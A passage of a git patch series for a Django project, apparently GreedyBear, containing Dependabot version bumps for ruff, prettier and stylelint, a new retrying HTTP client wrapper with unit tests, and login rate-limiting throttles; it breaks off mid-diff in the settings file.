[Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.15.15...0.15.16) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.15.16 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- pyproject.toml | 2 +- uv.lock | 44 ++++++++++++++++++++++---------------------- 2 files changed, 23 insertions(+), 23 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 0665519e7..6325cf001 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -49,7 +49,7 @@ test = [ "django-test-migrations==1.5.0", ] lint = [ - "ruff==0.15.15", + "ruff==0.15.16", ] [tool.uv] diff --git a/uv.lock b/uv.lock index e0502c534..8e2f6dc2b 100644 --- a/uv.lock +++ b/uv.lock @@ -544,7 +544,7 @@ requires-dist = [ [package.metadata.requires-dev] dev = [{ name = "django-watchfiles", specifier = "~=1.4" }] -lint = [{ name = "ruff", specifier = "==0.15.15" }] +lint = [{ name = "ruff", specifier = "==0.15.16" }] test = [ { name = "coverage", specifier = "==7.14.1" }, { name = "django-test-migrations", specifier = "==1.5.0" }, @@ -892,27 +892,27 @@ wheels = [ [[package]] name = "ruff" -version = "0.15.15" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/84/6f/a76f7d96e5c962f5b69cee865e49c15c1116897c01990faa8a57edb62e7f/ruff-0.15.15.tar.gz", hash = "sha256:b8dff018130b46d8e5bf0f926ef6b60cf871d6d5ae45fc9334e09632daa741d6", size = 4706985, upload-time = "2026-05-28T14:16:57.784Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/fa/9d/3a45c05b8ab04b4705989de70a79008e27c8003296a0feaee9edc18dd7e9/ruff-0.15.15-py3-none-linux_armv6l.whl", hash = "sha256:cf93e5388f412e1b108b1f8b34a6e036b70fe8aff89393befad96fe48670311b", size = 10710652, upload-time = "2026-05-28T14:16:06.701Z" }, - { url = "https://files.pythonhosted.org/packages/05/66/da974431624bf3b49f6ee1f9543c02d929ff1cba78b0d5a79c38cf21f744/ruff-0.15.15-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:ac5a646d1f6a7dadd5d50842dae2c1f9862ac887ef5d1b1375e02def791fde6e", size = 11096615, upload-time = "2026-05-28T14:16:23.313Z" }, - { url = "https://files.pythonhosted.org/packages/8c/09/7443452e5d290230a712103f2fdceeef7184f3ec99a2bd01c8be78aaceb5/ruff-0.15.15-py3-none-macosx_11_0_arm64.whl", hash = "sha256:77d955a431430c66f72dd94e379ad38a16daea3d25094872ac4edf9e797be530", size = 10436683, upload-time = "2026-05-28T14:16:40.974Z" }, - { url = "https://files.pythonhosted.org/packages/53/01/d330c26a57fa4f3943a14424904027428315b700fe4d14a84bb123a649e5/ruff-0.15.15-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7614ee79c69788cf6cedd568069ade9cecc22a1ad20494efe8d0c9ebb4b622d4", size = 10769064, upload-time = "2026-05-28T14:16:28.905Z" }, - { url = "https://files.pythonhosted.org/packages/1d/85/cc8770f8bdff541b1da8392d1634141fe4a0e3f4ee596605959b7906c27f/ruff-0.15.15-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3cdb1679e06a1f6b47bc384714ae96f6e2fb65ca441eb78c43d2ca554176ce1f", size = 10511987, upload-time = "2026-05-28T14:16:43.732Z" }, - { url = "https://files.pythonhosted.org/packages/7c/29/8c190c1472b63013583ba391f3342036e02010544c1270455ed8e519bdf3/ruff-0.15.15-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2728b93d7b23a603ea2c0ac6eb73d760bd38ec9de35f35fb41e18f7a3fee7622", size = 11275100, upload-time = "2026-05-28T14:16:55.244Z" }, - { url = "https://files.pythonhosted.org/packages/9f/6b/7e145ce2cc8e63d6834eca03d83a0e18d121def5c69f91b4cf4011ed4879/ruff-0.15.15-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be582fcc0db438902c7792b08d6ddf6c9b9e21addaa10092c2c741cfb09e5a45", size = 12176903, upload-time = "2026-05-28T14:16:14.368Z" }, - { url = "https://files.pythonhosted.org/packages/80/a3/d5974637f68e451f7fadf015cf3101d1cd7d8ba5027cffe0b9e3826ebe6b/ruff-0.15.15-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7aa77465b8ecaf1a27bea098d696f7fed5e1eccbd10b321b682d6de586ae5627", size = 11404550, upload-time = "2026-05-28T14:16:20.138Z" }, - { url = "https://files.pythonhosted.org/packages/fe/1c/e6e5e568f22be4fb05d6244234aba384c06b451252453b821e1a529263cf/ruff-0.15.15-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48decfa11d740de4889de623be1463308346312f2409a56e24aa280c86162dc4", size = 11382027, upload-time = "2026-05-28T14:16:46.615Z" }, - { url = "https://files.pythonhosted.org/packages/1d/01/170921b49fcd2e8858825593f91cf7146c3e40a5c3e6df763e4bb0484dde/ruff-0.15.15-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a5015088452ca0081387063649ec67f06d3d1d6b8b936a1f836b5e9657ecd48c", size = 11366041, upload-time = "2026-05-28T14:16:26.247Z" }, - { url = "https://files.pythonhosted.org/packages/87/54/a7bad711d7de93254e15e06a4c375b89a03d18de45d3e5dcc86a4472fb1a/ruff-0.15.15-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:f5294aab6356c81600fcdea3a62bb1b924dfd5e91767c12318d3f68f86af57cd", size = 10741795, upload-time = "2026-05-28T14:16:17.11Z" }, - { url = "https://files.pythonhosted.org/packages/c9/31/38c075963668f8b41c6914ee0f6f318727fbe30ab9145cb29e6df464c5fa/ruff-0.15.15-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:db5bd4d802415cca656dc1616070b725952d6ae95eb5d4831e49fbd94a38f75f", size = 10511117, upload-time = "2026-05-28T14:16:31.767Z" }, - { url = "https://files.pythonhosted.org/packages/9d/96/6ff689e1f7e375d1d97075eca022f74c2bab59554a432fe4d2e6f091986a/ruff-0.15.15-py3-none-musllinux_1_2_i686.whl", hash = "sha256:587a6278ed42059191c1a466e490bd7930fb50bd2e255398bc29616c895a61cb", size = 10994867, upload-time = "2026-05-28T14:16:35.149Z" }, - { url = "https://files.pythonhosted.org/packages/c3/c2/5dce0ab9f92a8d534fa62b9bf9caca3eddb8c1a81b616f5e195ada4f0d6e/ruff-0.15.15-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:df0c1c084f5f4be9812f61518a45c440d3c30d69ce4bf6c5270e66d38338f02a", size = 11482101, upload-time = "2026-05-28T14:16:49.598Z" }, - { url = "https://files.pythonhosted.org/packages/b1/c0/1003b60edd697c649faf61f1a34094b1abb38fb3d1181e3f895781250a08/ruff-0.15.15-py3-none-win32.whl", hash = "sha256:29428ea79694afbe756d45fd59b36f22b6b020dc0443cf7de0173046236964b9", size = 10716774, upload-time = "2026-05-28T14:16:52.337Z" }, - { url = "https://files.pythonhosted.org/packages/02/a8/1269eddd6945a06c23f055ef7848886e37cf9d6a8bebb386a3115f01470c/ruff-0.15.15-py3-none-win_amd64.whl", hash = "sha256:8df0323902e15e24bc4bf246da830573d3cf3352bd0b9a164eab335d111ff4a4", size = 11868463, upload-time = "2026-05-28T14:16:11.333Z" }, - { url = "https://files.pythonhosted.org/packages/4e/b2/920464c907b191e37469d477a1aa8bc048b8f36c4c1610dfa4ab87b39e18/ruff-0.15.15-py3-none-win_arm64.whl", hash = "sha256:3c8ceca6792f38196b8f589bc92eccd03eef286602da92e5dc05cc42ef6441b7", size = 11138498, upload-time = "2026-05-28T14:16:38.425Z" }, +version = "0.15.16" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a6/bd/5f7ec371001337d8fa61701c186ff8b613ecac1651848c5950f4c4d5f2e9/ruff-0.15.16.tar.gz", hash = "sha256:d05e78d38c78caf020b03789e25106c93017db5a0cb6e2819885018c61343b78", size = 4714267, upload-time = "2026-06-04T16:33:09.974Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/42/53ef1c3953f157956db9bf7861e3bc50b9b887ce93300aa48cdba8336fe6/ruff-0.15.16-py3-none-linux_armv6l.whl", hash = "sha256:6ac3c0b3969cc6cf6b158c4e2f8f682acb58e7d700d8a44b65ecdc72d66ab0b2", size = 10709025, upload-time = "2026-06-04T16:32:51.935Z" }, + { url = "https://files.pythonhosted.org/packages/93/9a/a79159346f19134a956607754e57d8d128f7a4c00f4ad2f7514d224c172c/ruff-0.15.16-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:197c207ed75ffba54a0dec23db4aa939a27a3053073e085e0042433cbdc58e4a", size = 11063550, upload-time = "2026-06-04T16:32:42.24Z" }, + { url = "https://files.pythonhosted.org/packages/bc/72/3ce2ac000a5299ec238e01f51397b3b653c93b077d9b1bfe8715bb895f20/ruff-0.15.16-py3-none-macosx_11_0_arm64.whl", hash = "sha256:3a39fec45ab316cc23e7558f23fea4a70403ddb5648ea9a4a3854a16973d0071", size = 10421345, upload-time = "2026-06-04T16:32:37.251Z" }, + { url = "https://files.pythonhosted.org/packages/b0/c2/cc7fad3ec9169373f5b6a18f1917b91080feec40c3f9658334a1d28e2f03/ruff-0.15.16-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ba93191d79003116b95128c9d306e045200fdbd0bccb782b110f3cd1d4abc5cf", size = 10757217, upload-time = "2026-06-04T16:32:54.722Z" }, + { url = "https://files.pythonhosted.org/packages/69/d2/3474009eaa0a65b31fa7152a2fad5e2f050c640ceb1e6b02ee6922e94c82/ruff-0.15.16-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:c6ee4b90520630120ef032aa5cc10db483852dff950e78b1d717e2993a61ac8d", size = 10507035, upload-time = "2026-06-04T16:33:05.343Z" }, + { url = "https://files.pythonhosted.org/packages/ca/81/b7ae6ccbd11f0c8dc3d5d67fc4be9b57ff57ca86ba56152021378e1277f2/ruff-0.15.16-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4e4215bc938bc3c8215c1472c1aa437e310fee20cd427335fec9d7e609563628", size = 11255291, upload-time = "2026-06-04T16:32:49.49Z" }, + { url = "https://files.pythonhosted.org/packages/d9/e1/46e526f1a7cc90857ce6ddf25fbb77eb6568651ac38d71b033af07076dd5/ruff-0.15.16-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7c8d26be963b090f10e29abc8b3e74a2a321f6fa34e02424e30b5af89350ecbb", size = 12124922, upload-time = "2026-06-04T16:33:07.821Z" }, + { url = "https://files.pythonhosted.org/packages/1a/da/5c791b088b596b24d0deb967fa28ae02ad751a140c0b9ea81c5ab915d6c0/ruff-0.15.16-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f198cf4123602a2280ed46c307bcbafe41758d6fee5b456b6b6058ca1514b3b4", size = 11332186, upload-time = "2026-06-04T16:33:02.971Z" }, + { url = "https://files.pythonhosted.org/packages/72/11/5da87abe20047c8962361473923ebb2f62b595250126aadfad8c20649c1e/ruff-0.15.16-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bb27515fa6240fb586ae82b901a59e67d24acff86f2190b433dc542fe0435aeb", size = 11373541, upload-time = "2026-06-04T16:32:47.007Z" }, + { url = "https://files.pythonhosted.org/packages/fe/2a/8554754c23a854ae3fd6b507e36ad61ddb121e298c6d5d617dec94ed0f14/ruff-0.15.16-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:a267c46ba1593fc26b8eecbea050b39d40c0b6bb7781ee11c90a02cd10032951", size = 11353014, upload-time = "2026-06-04T16:32:34.795Z" }, + { url = "https://files.pythonhosted.org/packages/62/25/62ea41529ec89f742ea3fed9cb1059c72877ec7cf9b9e99ac9cf3294d1d9/ruff-0.15.16-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:528c68f39a91498a8d50e91ff5985df3d105782bab49cc378e73ac26bff083e8", size = 10737467, upload-time = "2026-06-04T16:32:26.348Z" }, + { url = "https://files.pythonhosted.org/packages/90/17/334d3ad9de4d40f9dd58fdd09e35ce64553bb501e2f19a839e2fb6be14fc/ruff-0.15.16-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:7ed55c58950df60589a9a7a5d2f8fa5f54ebd287163be805adfe6ee95a9de123", size = 10521910, upload-time = "2026-06-04T16:32:32.54Z" }, + { url = "https://files.pythonhosted.org/packages/4d/bd/3ac7c6ae77a885c1004b3dda2446ea401768d24f851c14b4ad4b24f6639c/ruff-0.15.16-py3-none-musllinux_1_2_i686.whl", hash = "sha256:d482feaf51512b50f9790ceb417a56a61dd1e9d9bf967662b9ed27c01b34f53a", size = 10979190, upload-time = "2026-06-04T16:32:57.492Z" }, + { url = "https://files.pythonhosted.org/packages/33/d7/609546e6a413c3f216fbf2a50c928f97c80939154f6a0503114094a86191/ruff-0.15.16-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:1e15bc8c94513dae2a40cc9ef07c94fdd4ecc9e29dabebeebe170f952322c9e3", size = 11477014, upload-time = "2026-06-04T16:32:44.687Z" }, + { url = "https://files.pythonhosted.org/packages/74/0d/f2cd247ad32633a5c36e97141a2c21b11c6279f7957bc2ff360b1e08fddd/ruff-0.15.16-py3-none-win32.whl", hash = "sha256:580378f7bd4aa25f72e74aa54948a9622f142b1e509521dd10902e886681cc1e", size = 10735541, upload-time = "2026-06-04T16:32:30.145Z" }, + { url = "https://files.pythonhosted.org/packages/8b/9e/02e845ef151b1dee585e55c4739f8e1734ae1d9f1221dff65761c162208b/ruff-0.15.16-py3-none-win_amd64.whl", hash = "sha256:408256017284eddf98fff77b29aa4fb30f586042d535b2d9befc6512f400aaec", size = 11843403, upload-time = "2026-06-04T16:32:39.76Z" }, + { url = "https://files.pythonhosted.org/packages/15/19/016553f86f207450aebebc2b2b5088d086b901cc8186c02ac4284db3bd88/ruff-0.15.16-py3-none-win_arm64.whl", hash = "sha256:8cd61783afb39638a7133ef0d2dfb1e91277593962f81b5a8423eb0b888a6121", size = 11134555, upload-time = "2026-06-04T16:33:00.136Z" }, ] [[package]] From 31d475c6a98d26752ed629dd8709f21466dc0a10 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 10 Jun 2026 07:46:15 +0200 Subject: [PATCH 028/131] build(deps-dev): bump prettier from 3.8.3 to 3.8.4 in /frontend (#1401) Bumps [prettier](https://github.com/prettier/prettier) from 3.8.3 to 3.8.4. - [Release notes](https://github.com/prettier/prettier/releases) - [Changelog](https://github.com/prettier/prettier/blob/main/CHANGELOG.md) - [Commits](https://github.com/prettier/prettier/compare/3.8.3...3.8.4) --- updated-dependencies: - dependency-name: prettier dependency-version: 3.8.4 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 8 ++++---- frontend/package.json | 2 +- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 697fd3ffe..41816c8a4 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -35,7 +35,7 @@ "@vitest/coverage-v8": "^4.1.8", "eslint": "^9.39.4", "jsdom": "^29.1.1", - "prettier": "^3.8.3", + "prettier": "^3.8.4", "stylelint": "^17.12.0", "vite": "^8.0.16", "vitest": "^4.1.8" @@ -5322,9 +5322,9 @@ } }, "node_modules/prettier": { - "version": "3.8.3", - "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.8.3.tgz", - "integrity": "sha512-7igPTM53cGHMW8xWuVTydi2KO233VFiTNyF5hLJqpilHfmn8C8gPf+PS7dUT64YcXFbiMGZxS9pCSxL/Dxm/Jw==", + "version": "3.8.4", + "resolved": "https://registry.npmjs.org/prettier/-/prettier-3.8.4.tgz", + "integrity": "sha512-N2MylSdi48+5N/6S5j+maeHbUSIzzZ5uOcX5Hm4QpV8Dkb1HFjfAKTKX6yNPJQD9AhcT3ifHNB66tWTTJDi11Q==", "dev": true, "license": "MIT", "bin": { diff --git a/frontend/package.json b/frontend/package.json index c12ecc106..9edb7d3c4 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -54,7 +54,7 @@ "@vitest/coverage-v8": "^4.1.8", "eslint": "^9.39.4", "jsdom": "^29.1.1", - "prettier": "^3.8.3", + "prettier": "^3.8.4", "stylelint": "^17.12.0", "vite": "^8.0.16", "vitest": "^4.1.8" From 08402393962c4d0faba0ff067da931efef1eb3a4 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Wed, 10 Jun 2026 07:53:28 +0200 Subject: [PATCH 029/131] build(deps-dev): bump stylelint from 17.12.0 to 17.13.0 in /frontend (#1400) Bumps [stylelint](https://github.com/stylelint/stylelint) from 17.12.0 to 17.13.0. - [Release notes](https://github.com/stylelint/stylelint/releases) - [Changelog](https://github.com/stylelint/stylelint/blob/main/CHANGELOG.md) - [Commits](https://github.com/stylelint/stylelint/compare/17.12.0...17.13.0) --- updated-dependencies: - dependency-name: stylelint dependency-version: 17.13.0 dependency-type: direct:development update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> --- frontend/package-lock.json | 26 +++++++++++++------------- frontend/package.json | 2 +- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/frontend/package-lock.json b/frontend/package-lock.json index 41816c8a4..6d8e8e718 100644 --- a/frontend/package-lock.json +++ b/frontend/package-lock.json @@ -36,7 +36,7 @@ "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.8.4", - "stylelint": "^17.12.0", + "stylelint": "^17.13.0", "vite": "^8.0.16", "vitest": "^4.1.8" } @@ -343,9 +343,9 @@ } }, "node_modules/@csstools/css-calc": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.2.0.tgz", - "integrity": "sha512-bR9e6o2BDB12jzN/gIbjHa5wLJ4UjD1CB9pM7ehlc0ddk6EBz+yYS1EV2MF55/HUxrHcB/hehAyt5vhsA3hx7w==", + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/@csstools/css-calc/-/css-calc-3.2.1.tgz", + "integrity": "sha512-DtdHlgXh5ZkA43cwBcAm+huzgJiwx3ZTWVjBs94kwz2xKqSimDA3lBgCjphYgwgVUMWatSM0pDd8TILB1yrVVg==", "dev": true, "funding": [ { @@ -418,9 +418,9 @@ } }, "node_modules/@csstools/css-syntax-patches-for-csstree": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.1.3.tgz", - "integrity": "sha512-SH60bMfrRCJF3morcdk57WklujF4Jr/EsQUzqkarfHXEFcAR1gg7fS/chAE922Sehgzc1/+Tz5H3Ypa1HiEKrg==", + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@csstools/css-syntax-patches-for-csstree/-/css-syntax-patches-for-csstree-1.1.5.tgz", + "integrity": "sha512-oNjBvzLq2GPZtJphCjLqXow/cHySHSgtxvKZb7OqSZ/xHgw6NWNhfad+6AB9cLeVm6eA9d/qMll3JdEHjy6M+A==", "dev": true, "funding": [ { @@ -6334,9 +6334,9 @@ } }, "node_modules/stylelint": { - "version": "17.12.0", - "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-17.12.0.tgz", - "integrity": "sha512-KIlzWXMHUvgfPUR0R7TK3H80yCIi0uoivUwf+6Az4yrHJD1Q3c1qIkh/H5Z0i/K3QXgtq/UMEkWyBUSUwnpnOg==", + "version": "17.13.0", + "resolved": "https://registry.npmjs.org/stylelint/-/stylelint-17.13.0.tgz", + "integrity": "sha512-G1WYzMerp7ihOaIe9VJCHLt12MoAD2QLf1AFerYP37+BCRBUK5UCpq8e/mN+zCIaJPKQcaxhE4WlPmqdiOx/gw==", "dev": true, "funding": [ { @@ -6350,9 +6350,9 @@ ], "license": "MIT", "dependencies": { - "@csstools/css-calc": "^3.2.0", + "@csstools/css-calc": "^3.2.1", "@csstools/css-parser-algorithms": "^4.0.0", - "@csstools/css-syntax-patches-for-csstree": "^1.1.3", + "@csstools/css-syntax-patches-for-csstree": "^1.1.4", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0", "@csstools/selector-resolve-nested": "^4.0.0", @@ -6376,7 +6376,7 @@ "micromatch": "^4.0.8", "normalize-path": "^3.0.0", "picocolors": "^1.1.1", - "postcss": "^8.5.14", + "postcss": "^8.5.15", "postcss-safe-parser": "^7.0.1", "postcss-selector-parser": "^7.1.1", "postcss-value-parser": "^4.2.0", diff --git a/frontend/package.json b/frontend/package.json index 9edb7d3c4..8982d3f0e 100644 --- a/frontend/package.json +++ b/frontend/package.json @@ -55,7 +55,7 @@ "eslint": "^9.39.4", "jsdom": "^29.1.1", "prettier": "^3.8.4", - "stylelint": "^17.12.0", + "stylelint": "^17.13.0", "vite": "^8.0.16", "vitest": "^4.1.8" } From b40af3b7f4106ddabcc8fc73b1a5da3bb4ad3ca8 Mon Sep 17 00:00:00 2001 From: Prasad Shinde <144712280+Prasad8830@users.noreply.github.com> Date: Thu, 11 Jun 2026 13:31:33 +0530 Subject: [PATCH 030/131] feat(cronjobs): add shared HTTP client wrapper. Refs #1214 (#1253) * feat(cronjobs): add shared HTTP client wrapper (#1214) * fix(cronjobs): address PR feedback on http_client logging and retries * rename the function argument format for passing newly added test * fix ruff errors * removed post request from default requests --- greedybear/cronjobs/http_client.py | 69 +++++++++++++++ tests/test_http_client.py | 136 +++++++++++++++++++++++++++++ 2 files changed, 205 insertions(+) create mode 100644 greedybear/cronjobs/http_client.py create mode 100644 tests/test_http_client.py diff --git a/greedybear/cronjobs/http_client.py b/greedybear/cronjobs/http_client.py new file mode 100644 index 000000000..87772cdf3 --- /dev/null +++ b/greedybear/cronjobs/http_client.py @@ -0,0 +1,69 @@ +import logging + +import requests +from requests.adapters import HTTPAdapter +from urllib3.util.retry import Retry + +logger = logging.getLogger(__name__) + + +class HttpClient: + """ + A shared HTTP client wrapper based on requests.Session. + Provides standard defaults like timeouts, retries, and automatic error raising. + """ + + def __init__(self, default_timeout=10.0, retries=3, backoff_factor=0.3): + self.default_timeout = default_timeout + self.session = requests.Session() + + # Configure retries for idempotent methods only (urllib3 defaults). + # POST is intentionally excluded to prevent duplicate side effects. + retry_strategy = Retry( + total=retries, + status_forcelist=[429, 500, 502, 503, 504], + backoff_factor=backoff_factor, + ) + adapter = HTTPAdapter(max_retries=retry_strategy) + self.session.mount("http://", adapter) + self.session.mount("https://", adapter) + + def request(self, method, url, **kwargs): + """ + Sends a request using the configured session. + Applies default timeout if not provided and raises for status automatically. + """ + # Apply default timeout if not specified + kwargs.setdefault("timeout", self.default_timeout) + + logger.debug(f"Sending {method} request to {url}") + + try: + # Execute the request + response = self.session.request(method, url, **kwargs) + + # Always raise for status to ensure consistent error handling + response.raise_for_status() + except requests.RequestException: + logger.exception(f"HTTP Request failed for {method} {url}") + raise + else: + return response + + def get(self, url, **kwargs): + """Sends a GET request.""" + return self.request("GET", url, **kwargs) + + def post(self, url, data=None, json=None, **kwargs): + """Sends a POST request.""" + return self.request("POST", url, data=data, json=json, **kwargs) + + def close(self): + """Closes the underlying session.""" + self.session.close() + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + self.close() diff --git a/tests/test_http_client.py b/tests/test_http_client.py new file mode 100644 index 000000000..90b05269d --- /dev/null +++ b/tests/test_http_client.py @@ -0,0 +1,136 @@ +import threading +from http.server import BaseHTTPRequestHandler, HTTPServer +from unittest.mock import Mock, patch + +import requests +from django.test import TestCase + +from greedybear.cronjobs.http_client import HttpClient + + +class RetryHandler(BaseHTTPRequestHandler): + def do_GET(self): + self.server.request_count += 1 + self.send_response(500) + self.end_headers() + + def do_POST(self): + self.server.request_count += 1 + self.send_response(500) + self.end_headers() + + def log_message(self, format_str, *args): + pass + + +class TestHttpClient(TestCase): + def setUp(self): + self.client = HttpClient(default_timeout=5.0) + + @patch("requests.Session.request") + def test_default_timeout_applied(self, mock_request): + """Test that the default timeout is applied when no timeout is provided.""" + mock_response = Mock() + mock_response.status_code = 200 + mock_request.return_value = mock_response + + self.client.get("https://example.com") + + mock_request.assert_called_once_with("GET", "https://example.com", timeout=5.0) + + @patch("requests.Session.request") + def test_custom_timeout_override(self, mock_request): + """Test that a custom timeout overrides the default.""" + mock_response = Mock() + mock_response.status_code = 200 + mock_request.return_value = mock_response + + self.client.get("https://example.com", timeout=15.0) + + mock_request.assert_called_once_with("GET", "https://example.com", timeout=15.0) + + @patch("greedybear.cronjobs.http_client.logger") + @patch("requests.Session.request") + def test_raise_for_status_called_and_logged(self, mock_request, mock_logger): + """Test that raise_for_status is automatically called and errors are logged.""" + mock_response = Mock() + mock_response.status_code = 404 + mock_response.raise_for_status.side_effect = requests.HTTPError("404 Not Found") + mock_request.return_value = mock_response + + with self.assertRaises(requests.HTTPError): + self.client.get("https://example.com") + + mock_response.raise_for_status.assert_called_once() + mock_logger.exception.assert_called_once() + self.assertIn("HTTP Request failed", mock_logger.exception.call_args[0][0]) + + @patch("requests.Session.request") + def test_post_request(self, mock_request): + """Test that post requests work and apply defaults.""" + mock_response = Mock() + mock_response.status_code = 201 + mock_request.return_value = mock_response + + payload = {"key": "value"} + self.client.post("https://example.com", json=payload) + + mock_request.assert_called_once_with("POST", "https://example.com", data=None, json=payload, timeout=5.0) + + def test_context_manager(self): + """Test that the client can be used as a context manager.""" + with patch("requests.Session.close") as mock_close: + with HttpClient() as client: + self.assertIsInstance(client, HttpClient) + mock_close.assert_called_once() + + def test_get_retry_logic(self): + """Test that GET requests are correctly retried upon receiving server errors.""" + server = HTTPServer(("localhost", 0), RetryHandler) + server.request_count = 0 + + thread = threading.Thread(target=server.serve_forever) + thread.daemon = True + thread.start() + + try: + port = server.server_port + url = f"http://localhost:{port}/api" + + # Use a short backoff for fast tests + client = HttpClient(retries=3, backoff_factor=0) + + with self.assertRaises(requests.exceptions.RetryError): + client.get(url) + + # Initial call + 3 retries = 4 calls + self.assertEqual(server.request_count, 4) + finally: + server.shutdown() + server.server_close() + thread.join() + + def test_post_not_retried(self): + """Test that POST requests are NOT retried to prevent duplicate side effects.""" + server = HTTPServer(("localhost", 0), RetryHandler) + server.request_count = 0 + + thread = threading.Thread(target=server.serve_forever) + thread.daemon = True + thread.start() + + try: + port = server.server_port + url = f"http://localhost:{port}/api" + + client = HttpClient(retries=3, backoff_factor=0) + + with self.assertRaises(requests.HTTPError): + client.post(url, json={"test": "data"}) + + # POST should NOT be retried — only 1 call + self.assertEqual(server.request_count, 1) + finally: + server.shutdown() + server.server_close() + thread.join() From 9bb23aab89886295d2d446b5414d51cedf13376c Mon Sep 17 00:00:00 2001 From: cclts <110119346+cclts@users.noreply.github.com> Date: Thu, 11 Jun 2026 03:10:12 -0500 Subject: [PATCH 031/131] Add login rate limiting. Closes #1383 (#1386) * login throttling * change variable name and update env template * add docstrings * update variable --- authentication/throttles.py | 33 +++++++++++++++++++++++++++++++ authentication/views.py | 3 +++ docker/env_file_template | 3 +++ greedybear/settings.py | 1 + tests/authentication/test_auth.py | 31 +++++++++++++++++++++++++++++ 5 files changed, 71 insertions(+) create mode 100644 authentication/throttles.py diff --git a/authentication/throttles.py b/authentication/throttles.py new file mode 100644 index 000000000..6cd1f37c2 --- /dev/null +++ b/authentication/throttles.py @@ -0,0 +1,33 @@ +from rest_framework.throttling import SimpleRateThrottle + + +class LoginIPThrottle(SimpleRateThrottle): + """Rate-limit login attempts from the same IP address.""" + + scope = "login" + + def get_cache_key(self, request, view): + return self.cache_format % { + "scope": self.scope, + "ident": self.get_ident(request), + } + + +class LoginIdentifierThrottle(SimpleRateThrottle): + """Rate-limit login attempts against the same username or email.""" + + scope = "login" + + def get_cache_key(self, request, view): + identifier = request.data.get("username") or request.data.get("email") + if not isinstance(identifier, str): + return None + + normalized = identifier.strip().lower() + if not normalized: + return None + + return self.cache_format % { + "scope": self.scope, + "ident": normalized, + } diff --git a/authentication/views.py b/authentication/views.py index fc02600f9..a66d96d61 100644 --- a/authentication/views.py +++ b/authentication/views.py @@ -30,6 +30,7 @@ LoginSerializer, RegistrationSerializer, ) +from .throttles import LoginIdentifierThrottle, LoginIPThrottle logger = logging.getLogger(__name__) @@ -124,6 +125,8 @@ def check_configuration(request): class LoginView(certego_views.LoginView): + throttle_classes = [LoginIPThrottle, LoginIdentifierThrottle] + @staticmethod def validate_and_return_user(request): serializer = LoginSerializer(data=request.data) diff --git a/docker/env_file_template b/docker/env_file_template index a909c7792..7e018ca98 100644 --- a/docker/env_file_template +++ b/docker/env_file_template @@ -90,6 +90,9 @@ FEEDS_THROTTLE_RATE=30/minute FEEDS_ADVANCED_THROTTLE_RATE=100/minute FEEDS_SHARED_THROTTLE_RATE=10/minute +# Rate limiting for authentication endpoints (format: number/period, e.g. 30/minute) +LOGIN_THROTTLE_RATE=10/minute + # Trending attackers settings # Max API window in minutes (must be >= 60 and multiple of 60) TRENDING_MAX_WINDOW_MINUTES=22320 diff --git a/greedybear/settings.py b/greedybear/settings.py index 1621a5083..05ba0452d 100644 --- a/greedybear/settings.py +++ b/greedybear/settings.py @@ -139,6 +139,7 